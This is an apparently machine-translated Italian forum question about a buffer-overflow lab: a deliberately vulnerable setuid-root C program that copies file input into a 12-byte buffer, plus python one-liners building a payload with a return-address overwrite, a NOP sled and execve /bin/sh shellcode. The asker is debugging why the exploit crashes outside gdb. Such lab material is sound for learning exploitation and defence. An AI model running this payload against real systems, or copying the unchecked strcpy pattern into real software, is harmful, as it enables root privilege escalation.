Ho un'applicazione con il seguente codice sorgente:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[12];
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
Inside bof
con strcpy(buffer, str)
Sto cercando di ottenere l'escalation di privelege usando l'overflow del buffer. All'interno di gdb con il seguente comando sono in grado di aprire una nuova shell: python -c 'print "A" * 24 + "\x60\xf1\xff\xbf" + "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"' > badfile
Fuori da gdb so che l'indirizzo di memoria cambia un po 'quindi ho provato con lo stesso comando usando anche alcuni nops: python -c 'print "A" * 24 + "\x60\xf1\xff\xbf" + "\x90" * 30 + "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"' > badfile
Ho disabilitato ASLR, NX bit e stack di canarino. Anche se il risultato dell'ultimo comando sopra è Illegal instruction (core dumped)
Cosa sto facendo di sbagliato qui? (Il bit suid dell'applicazione come root è abilitato)